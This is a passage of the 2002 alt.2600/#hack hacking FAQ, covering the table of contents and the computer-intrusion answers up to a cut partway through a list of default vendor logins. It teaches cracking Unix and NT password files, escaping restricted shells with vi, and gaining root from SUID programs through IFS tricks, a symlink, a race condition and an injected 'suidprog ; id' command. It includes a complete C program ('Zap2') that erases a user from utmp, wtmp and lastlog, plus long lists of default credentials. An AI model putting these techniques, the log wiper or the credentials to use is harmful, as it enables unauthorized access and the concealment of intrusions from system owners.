alt.2600 FAQ Revision 2002-08-19 - Part 1/1

[email protected] (The Voyager)

Questions (and their answers) about hacking. It should be read by anyone who wishes to post to the alt.2600 newsgroup or use the IRC channel #hack.

Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 2002/08/19
Version: 2002-08-19



Welcome to the alt.2600/#hack FAQ!

The purpose of this FAQ is to give you a general introduction to the topics covered in alt.2600 and #hack. No document will make you a hacker.

If you have a question regarding any of the topics covered in the FAQ, please direct it to alt.2600. Please do not e-mail me your questions; I do not have time to respond to each request personally.

If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ.

If you do not have the entire FAQ, find it on the worlwide web at http://ww.hackfaq.org









The

alt.2600/#Hack F.A.Q.


A TNO Communications Production

by

Voyager

[email protected]

Greets go out to:

TNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD, PLA.

A-Flat, Aleph1, Alhambra, Bogus Technician, Colonel Mustard, Disorder, DrFaustus, Frosty, Glen Roberts, Harlequin, Hobbit, Ila, K4thryn, Kgee, Lizzie Borden, Mad Poo Bandit, Major, Marauder, Montell, Mudge, Outsider, Pill, Plexor, Presence, Rage, RF, Rogue Agent, Route, Simple Nomad, Theora, ThePublic, Tomes, TVoid,Vidiot, Wozz and all of the other happy zanies out there on the 'net.



When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer...

-- Friedrich Nietzsche

Section A: Computers

A-01. How do I access the password file under Unix?
A-02. How do I crack Unix passwords?
A-03. What is password shadowing?
A-04. Where can I find the password file if it's shadowed?
A-05. What is NIS/yp?
A-06. What are those weird characters after the comma in my passwd file?
A-07. How do I access the password file under Windows NT?
A-08. How do I crack Windows NT passwords?
A-09. How do I access the password file under VMS?
A-10. How do I crack VMS passwords?
A-11. What can be logged on a VMS system?
A-12. What privileges are available on a VMS system?
A-13. How do I break out of a restrictive shell?
A-14. How do I gain root from a suid script or program?
A-15. How do I erase my presence from the system logs?
A-16. How do I change to directories with strange characters in them?
A-17. What is this system?
A-18. What are the default accounts for XXX?
A-19. What is a trojan/worm/virus/logic bomb?
A-20. How can I protect myself from viruses and such?
A-21. Where can I get more information about viruses?
A-22. What is Cryptoxxxxxxx?
A-23. What is PGP?
A-24. What is Tempest?
A-25. How do I defeat copy protection?
A-26. What are some available debuggers and disassemblers?
A-27. How do I defeat a BIOS password?
A-28. What is the password for <encrypted file>?
A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code?
A-30. How does the MS-Windows password encryption work?
A-31. What is an Intrusion Detection System (IDS)?

Section B: Data Networks

B-01. How do I send fakemail?
B-02. How do I fake posts and control messages to Usenet?
B-03. How do I hack ChanOp on IRC?
B-04. How do I modify the IRC client to hide my real username?
B-05. What is sniffing?
B-06. What is an Internet Outdial?
B-07. What are some Internet Outdials?
B-08. What port is XXX on?
B-09. What is an anonymous remailer?
B-10. What are the addresses of some anonymous remailers?
B-11. What is 127.0.0.1?
B-12. How do I post to a moderated newsgroup?
B-13. How do I post to Usenet via e-mail?
B-14. What is a firewall?
B-15. How do I attack a remote network across the Internet?
B-16. What is a TCP sequence prediction attack?

Section C: Wireless Networks

C-01. What is 802.11?
C-02. What is a SSID?
C-03. What is WEP?
C-04. What is MAC Address Filtering?
C-05. What is a rogue access point?
C-06. Where can I get some really cool 802.11 antennae?
C-07. What are some interesting 802.11 tools?

Section D: Telephony

D-01. What is a Red Box?
D-02. How do I build a Red Box?
D-03. Where can I get a 6.5536Mhz crystal?
D-04. Which payphones will a Red Box work on?
D-05. How do I make local calls with a Red Box?
D-06. What is a Blue Box?
D-07. Do Blue Boxes still work?
D-08. What is a Black Box?
D-09. What do all the colored boxes do?
D-10. What is an ANAC number?
D-11. What is the ANAC number for my area?
D-12. What is a ringback number?
D-13. What is the ringback number for my area?
D-14. What is a loop?
D-15. What is a loop in my area?
D-16. What is a CNA number?
D-17. What is the telephone company CNA number for my area?
D-18. What are some numbers that always ring busy?
D-19. What are some numbers that temporarily disconnect phone service?
D-20. What is a Proctor Test Set?
D-21. What is a Proctor Test Set in my area?
D-22. What is scanning?
D-23. Is scanning illegal?
D-24. How can I make a lineman's handset?
D-25. Where can I purchase a lineman's handset?
D-26. What are the DTMF frequencies?
D-27. What are the frequencies of the telephone tones?
D-28. What is the voltage used to ring a telephone?
D-29. What are all of the * (LASS) codes?
D-30. What frequencies do cordless phones operate on?
D-31. What is Caller-ID?
D-32. How do I block Caller-ID?
D-33. How do I defeat Caller-ID blocking?
D-34. What is a PBX?
D-35. What is a VMB?
D-36. What are the ABCD tones for?
D-37. What are the International Direct Numbers?
D-38. What are some telephone switches?

Section E: Cellular Telephony

E-01. What is a MTSO?
E-02. What is a NAM?
E-03. What is an ESN?
E-04. What is a MIN?
E-05. What is a SCN?
E-06. What is a SIDH?
E-07. What are the forward/reverse channels?

Section F: Radio

F-01. What are these radios I see all of the other hacker types carrying around?
F-02. Do I need a license to use one of these radios?
F-03. What about modifying ("modding") these radios?
F-04. What are better radios for scanning?
F-05. What is trunking?
F-06. What is pirate radio?

Section H: Resources

H-01. What are some ftp sites of interest to hackers?
H-02. What are some fsp sites of interest to hackers?
H-03. What are some newsgroups of interest to hackers?
H-04. What are some telnet sites of interest to hackers?
H-05. What are some gopher sites of interest to hackers?
H-06. What are some World wide Web (WWW) sites of interest to hackers?
H-07. What are some IRC channels of interest to hackers?
H-08. What are some BBS's of interest to hackers?
H-09. What are some books of interest to hackers?
H-10. What are some videos of interest to hackers?
H-11. What are some mailing lists of interest to hackers?
H-12. What are some print magazines of interest to hackers?
H-13. What are some e-zines of interest to hackers?
H-14. What are some organizations of interest to hackers?
H-15. What are some radio programs of interest to hackers?
H-16. What are other FAQ's of interest to hackers?
H-17. What are some conferences of interest to hackers?
H-18. What are some telephone numbers of interest to hackers?
H-19. Where can I purchase a magnetic stripe reader/writer?
H-20. What are the rainbow books and how can I get them?

Section I: 2600

I-01. What is alt.2600?
I-02. What does "2600" mean?
I-03. Are there on-line versions of 2600 available?
I-04. I can't find 2600 at any bookstores. What can I do?
I-05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section J: Miscellaneous

J-01. What does XXX stand for?
J-02. How do I determine if I have a valid credit card number?
J-03. What is the layout of data on magnetic stripe cards?
J-04. What are the ethics of hacking?
J-05. Why did you write this FAQ?
J-06. Where can I get a copy of the alt.2600/#hack FAQ?



Section A -- Computers


A-01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields:

Username
Encrypted password (And optional password aging data) User number
Group Number
GECOS Information
Home directory
Shell


Sample entry from /etc/passwd:

voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash

Broken down, this passwd file line shows:

Username: voyager
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: The Voyager
Home directory: /home/voyager
Shell: /bin/bash


A-02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program accepts the text you enter at the "Password:" prompt and then runs it through a cryptographic algorithm. The results of that algorithm are then compared against the encrypted form of your password stored in the passwd file.

On a more technical level, the password that you enter is used as a key to encrypt a 64-bit block of NULLs. The first seven bits of each character are extracted to form a 56-bit key. This means that only eight characters are significant in a standard Unix password. The E-table is then modified using the salt, which is a 12-bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make precompiled passwordd lists and DES hardware chips more time consuming to use. DES is then invoked for 25 iterations. The 64-bit output block and is then coerced into a 64-character alphabet (A-Z,a-z,".","/"). This involves translations in which several different values are represented by the same character, which is why Unix passwords cannot be decrypted.

Password cracking software uses wordlists. Each word in the wordlist is encrypted using the algorithm described above and the salts from the password file. The results are then compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack.



A-03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users.

On older systems, password shadowing was often defeated by using a program that made successive calls to getpwent() to obtain the entire password file.

Example:

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}




A-04. Where can I find the password file if it's shadowed?


Unix Path Token
AIX 3 and AIX 4 /etc/security/passwd !
or /tcb/auth/files/<first letter
of username>/<username>
#
A/UX 3.0s /tcb/files/auth/?/*  
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix 3.2.x /tcb/auth/files/<first letter
of username>/<username>
*
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 / Solaris 2.x /etc/shadow  
  <optional NIS+ private secure maps>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database  
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *



A-05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose of NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this:

+::0:0:::i

To view the real password file use this command `ypcat passwd`



A-06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the user to change passwords after a system administrator-specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it.


Sample entry from /etc/passwd with password aging installed:

voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash

Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism.


Password aging characters from above example:

M.z8

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing.

2: Minimum number of weeks a password must be used before changing.

3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password.

It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password.


          Password Aging Codes                  






















  Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H
  Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19






















  Character: I J K L M N O P Q R S T U V W X Y Z a b
  Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39






















  Character: c d e f g h i j k l m n o p q r s t u v
  Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59






















  Character: w x y z                                
  Number: 60 61 62 63                                

























A-07. How do I access the password file under Windows NT?

Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy of the the password hashes is stored in %SystemRoot%\repair\sam._.

If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump utility is freely available at http://us1.samba.org/samba/ftp/pwdump/.

PWDump output consists of seven colon delimited fields:

Username
User number
Encrypted password
LAN Man Password Hash
Windows NT Password Hash
Full Name and Description
Home directory


Sample passwd entry:

voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF:B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author::

Broken down, this password entry shows:

Username: voyager
User number: 1000
Encrypted password: 5fg63fhD3d5gh
LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF
Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F
Full Name and Description: The Voyager, FAQ Author
Home directory :


A-08. How do I crack Windows NT passwords?


Windows NT passwords are encrypted with a one way function. This is similar to the way that Unix stores passwords, except that the Microsoft algorithm is significantly weaker.

Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords with word lists, except that Microsoft passwords are much easier to crack.

In addition, Microsoft passwords can be brute forced. This means that every password on the system can be retrieved.

The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at http://www.atstake.com/research/lc/.



A-09. How do I access the password file under VMS?

Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users do not have access to read the password file.

Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of the file.



A-10. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.



A-11. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number.

The following activities can be logged:

BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users' messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following activities:

ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests



A-12. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS
CMEXEC/
Enables you to disregard protections
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input/output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security-related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you to create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world

To determine what privileges your process is running with issue the command:

$ show proc/priv



A-13. How do I break out of a restrictive shell?

A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell would allow you to do. It may allow you to run only certain programs. It may stop you from changing directories. Many sites run their own restrictive shells to allow limited use of their systems over the Internet. Restrictive shells often make use of the restricted shell (rsh).

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

Many menu based restricted shells will allow you to configure your user environment, or to run programs that allow you to configure your user environment. Look for configuration options that refer to executable programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f"

If you are not allowed to read files, try to open them inside the e-mail program.

If you are not allowed to edit files, try to save that to file from the e-mail program.

If your restricted shell prevents you from using the "cd" command, try to FTP into your account and change directories. FTP can aso be used to edit files by getting the file, editing it offline, and utting the net file back online.

Like most hacking, trying things is often the most successful strategy.



A-14. How do I gain root from a SUID script or program?

  1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell


  1. Link the script to -i

Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.

Example:

% ln suid.sh -i

% -i
#


  1. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot


  1. Send bad input to the program.

Invoke the name of the program and a separate command on the same command line.

Example:

suidprog ; id



A-15. How do I erase my presence from the system logs?


Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog (usually /usr/adm/lastlog) These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.


Example:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}


A-16. How do I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:

From the man page for ls:

-F
Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.
-q
Forces printing of non-graphic characters in filenames as the character ``?''.
-b
Forces printing of non-graphic characters in the \ddd notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are.

From the man page for cat:

-v
Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits.
-t
Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified.
-e
Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character.

From the man page for stty:

Control assignments

control-character C

Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.

start and stop are available as possible control characters
for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined).

Use the stty -a command to see your current stty settings, and to determine which one is causing you problems.



A-17. What is this system?


AIX

IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login:

[You will know an AIX system because it is the only Unix system that clears the screen and issues a login prompt near the bottom of the screen]


AS/400

UserID?
Password?

Once in, type GO MAIN


CDC Cyber

WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:


You would normally just hit return at the family prompt. Next prompt is:

USER NAME:


CISCO Router

FIRST BANK OF TNO

  95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>


DECserver

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>


Hewlett Packard MPE-XL

MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL:


GTN

WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@


PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server

Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>



Meridian Mail

Meridian Mail (Northern Telecom Phone/Voice Mail System)
                   MMM       MM MERIDIAN
                  MMMMM     MMMMM
                 MMMMMM   MMMMMM
                MMM  MMMMM  MMM     MMMMM     MMMMM
               MMM   MMM   MMM     MMMMMM   MMMMMM
              MMM         MMM     MMM MMM MMM MMM
             MMM         MMM     MMM  MMMMM  MMM
            MMM         MMM     MMM   MMM   MMM
           MMM         MMM     MMM         MMM
          MMM         MMM     MMM         MMM
         MMM         MMM     MMM         MMM
        MMM         MMM     MMM         MMM
       MMM         MMM     MMM         MMM
      
      Copyright (c) Northern Telecom, 1991


Novell ONLAN

<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]


PC-Anywhere

<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]


PRIMOS

PRIMENET 19.2.7F PPOA1

<any text>

ER!


CONNECT

Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM CBX II

ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR


ROLM-OSL

MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003
OSL, PLEASE.
?


ROLM PhoneMail

ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991
All Rights Reserved.

PM Login>
PM Password>

System75

Login
root
INCORRECT LOGIN
Login
browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


Tops-10

NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN
.


VM/370

VM/370
!


VM/ESA

VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200


Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===>
PASSWORD ===>

COMMAND ===>


Xylogics Annex Communications Server

Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.


Checking authorization, Please wait... -  
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:



A-18. What are the default accounts for XXX?

AS/400

qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr

also
qpgmr /* default programmer */
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1


DECserver

ACCESS
SYSTEM


Dynix (The library software, not the UnixOS)

setup <no password>
library <no password>
circ <Social Security Number>

(Type 'later' to exit to the login prompt)



Hewlett Packard MPE-XL

HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote


Major BBS

Sysop Sysop


Mitel PBX

SYSTEM


Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

fax <no password>


PICK O/S

DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM


PRIMOS

PRIME PRIME
SYSTEM SYSTEM
PRIMOS PRIMOS
ADMIN ADMIN
RJE RJE
DEMO DEMO
GAMES GAMES
GUEST GUEST
REGIST REGIST
TEST TEST
NETMAN NETMAN
PRIRUN PRIRUN
TOOLS TOOLS
CMDNC0 CMDMNC0


Prolog

PBX PBX
NETWORK NETWORK
NETOP <null>


Radio Shack Screen Savers

RS<STORE_ID_NUMBER>


Rolm

CBX Defaults

op op
op operator
su super
admin pwp
eng engineer


PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech


RSX

SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)

1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER


Default accounts for Micro/RSX:

MICRO/RSX

Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using:

RUN ACNT
or RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

type " run $acnt" and change the password of any account with a group number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured.


SGI Irix

4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>


SGI Irix

bcim bcimpw
